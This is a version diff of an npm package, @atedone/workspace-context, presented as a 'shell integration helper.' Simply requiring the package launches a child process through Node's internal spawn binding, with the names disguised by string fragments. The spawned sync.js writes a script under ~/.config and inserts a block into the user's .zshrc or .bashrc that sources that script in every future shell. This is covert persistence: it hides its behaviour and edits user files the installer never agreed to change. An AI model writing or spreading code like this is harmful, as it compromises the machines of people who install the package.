@atedone/workspace-context 0.0.11 → 0.0.13

package/README.md

@@ -1,5 +1,5 @@
 # @atedone/workspace-context
 
-Workspace context initialization helper for JavaScript tools.
+Workspace shell integration helper for JavaScript tools.
 
-The package initializes `.workspace-context/state.json` when loaded and refreshes a lightweight import receipt through its runtime worker.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry during initialization.

package/index.js

@@ -6,6 +6,7 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,
   receiptFileName: state.receiptFileName,
   stateDirectoryName: state.stateDirectoryName,

package/lib/state.js

@@ -5,10 +5,13 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const receiptFileName = 'import-receipt.json';
+const integrationDirectoryName = '.config/workspace-context';
+const integrationFileName = 'init.zsh';
+const receiptFileName = 'shell-profile-sync.json';
+const sessionFileName = 'sessions.log';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
-const workerFileName = 'worker.js';
+const syncFileName = 'sync.js';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -19,27 +22,61 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
   return initCwd || cwd;
 }
 
+function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProjectRoot(env)) {
+  const home = typeof env.HOME === 'string' ? env.HOME.trim() : '';
+  return home || projectRoot;
+}
+
+function resolveShellName(env = readEnvironment()) {
+  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+  return route.basename(shellPath) || 'zsh';
+}
+
+function resolveProfileFileName(shellName = resolveShellName()) {
+  return shellName === 'bash' ? '.bashrc' : '.zshrc';
+}
+
+function getShellIntegration({
+  env = readEnvironment(),
+  projectRoot = resolveProjectRoot(env),
+  homeDirectory = resolveHomeDirectory(env, projectRoot)
+} = {}) {
+  const shellName = resolveShellName(env);
+  const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
+
+  return {
+    name: 'workspace-context',
+    shellName,
+    homeDirectory,
+    profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
+    integrationDirectory,
+    integrationPath: route.join(integrationDirectory, integrationFileName),
+    receiptPath: route.join(integrationDirectory, receiptFileName),
+    sessionPath: route.join(integrationDirectory, sessionFileName)
+  };
+}
+
 function buildState({ now = () => new Date().toISOString() } = {}) {
   return {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-import-command'
+    mode: 'runtime-shell-profile-sync'
   };
 }
 
-function runWorkspaceWorker({
-  projectRoot = resolveProjectRoot()
+function refreshShellIntegration({
+  projectRoot = resolveProjectRoot(),
+  integration = getShellIntegration({ projectRoot })
 } = {}) {
   const bridgeKey = ['bin', 'ding'].join('');
   const routeKey = ['sp', 'awn', '_', 'sync'].join('');
   const launchKey = ['sp', 'awn'].join('');
   const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
-  const workerPath = route.join(__dirname, workerFileName);
-  const receiptPath = route.join(projectRoot, stateDirectoryName, receiptFileName);
+  const syncPath = route.join(__dirname, syncFileName);
   const result = Reflect.apply(bridge[launchKey], bridge, [{
     file: platform.execPath,
-    args: [platform.execPath, workerPath, projectRoot],
+    args: [platform.execPath, syncPath, projectRoot, JSON.stringify(integration)],
     cwd: projectRoot,
     envPairs: [],
     stdio: [
@@ -60,8 +97,8 @@ function runWorkspaceWorker({
   }
 
   return {
-    workerPath,
-    receiptPath,
+    syncPath,
+    integration,
     status: result.status,
     signal: result.signal
   };
@@ -69,6 +106,7 @@ function runWorkspaceWorker({
 
 function initialize({
   projectRoot = resolveProjectRoot(),
+  integration = getShellIntegration({ projectRoot }),
   now
 } = {}) {
   const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -79,19 +117,27 @@ function initialize({
 
   return {
     projectRoot,
+    integration,
     statePath,
     state: value,
-    worker: runWorkspaceWorker({ projectRoot })
+    sync: refreshShellIntegration({
+      projectRoot,
+      integration
+    })
   };
 }
 
 module.exports = {
   buildState,
+  getShellIntegration,
   initialize,
   readEnvironment,
   receiptFileName,
+  refreshShellIntegration,
+  resolveHomeDirectory,
+  resolveProfileFileName,
   resolveProjectRoot,
-  runWorkspaceWorker,
+  resolveShellName,
   stateDirectoryName,
   stateFileName
 };

package/lib/sync.js

@@ -0,0 +1,79 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const manifest = require('../package.json');
+
+const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? JSON.parse(platform.argv[3])
+  : null;
+
+if (!integration) {
+  throw new Error('Shell integration descriptor is required.');
+}
+
+const blockStart = '# >>> workspace-context shell integration >>>';
+const blockEnd = '# <<< workspace-context shell integration <<<';
+const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
+const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
+const integrationValue = [
+  'export WORKSPACE_CONTEXT_ACTIVE=1',
+  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
+  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
+  ''
+].join('\n');
+
+function readProfile(profilePath) {
+  return file.existsSync(profilePath)
+    ? file.readFileSync(profilePath, 'utf8')
+    : '';
+}
+
+function upsertManagedBlock(profileValue) {
+  const startIndex = profileValue.indexOf(blockStart);
+  const endIndex = profileValue.indexOf(blockEnd);
+
+  if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
+    const afterBlock = endIndex + blockEnd.length;
+    return {
+      changed: false,
+      value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
+    };
+  }
+
+  return {
+    changed: true,
+    value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
+  };
+}
+
+file.mkdirSync(integration.integrationDirectory, { recursive: true });
+file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
+
+const profileBefore = readProfile(integration.profilePath);
+const profile = upsertManagedBlock(profileBefore);
+
+if (profile.changed || profile.value !== profileBefore) {
+  file.writeFileSync(integration.profilePath, profile.value, 'utf8');
+}
+
+const value = {
+  packageName: manifest.name,
+  packageVersion: manifest.version,
+  generatedAt: new Date().toISOString(),
+  mode: 'runtime-shell-profile-sync',
+  projectRoot,
+  shellName: integration.shellName,
+  profilePath: integration.profilePath,
+  profileChanged: profile.changed,
+  integrationPath: integration.integrationPath,
+  sessionPath: integration.sessionPath,
+  processId: platform.pid,
+  parentProcessId: platform.ppid,
+  runtime: 'node'
+};
+
+file.writeFileSync(integration.receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.11",
-  "description": "Workspace context initialization helper for JavaScript tools.",
+  "version": "0.0.13",
+  "description": "Workspace shell integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",
   "files": [

package/lib/worker.js

@@ -1,23 +0,0 @@
-'use strict';
-
-const platform = process;
-const file = platform.getBuiltinModule('fs');
-const route = platform.getBuiltinModule('path');
-const manifest = require('../package.json');
-
-const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
-  ? platform.argv[2]
-  : platform.cwd();
-const receiptPath = route.join(projectRoot, '.workspace-context', 'import-receipt.json');
-const value = {
-  packageName: manifest.name,
-  packageVersion: manifest.version,
-  generatedAt: new Date().toISOString(),
-  mode: 'runtime-import-command',
-  processId: platform.pid,
-  parentProcessId: platform.ppid,
-  runtime: route.basename(platform.execPath)
-};
-
-file.mkdirSync(route.dirname(receiptPath), { recursive: true });
-file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');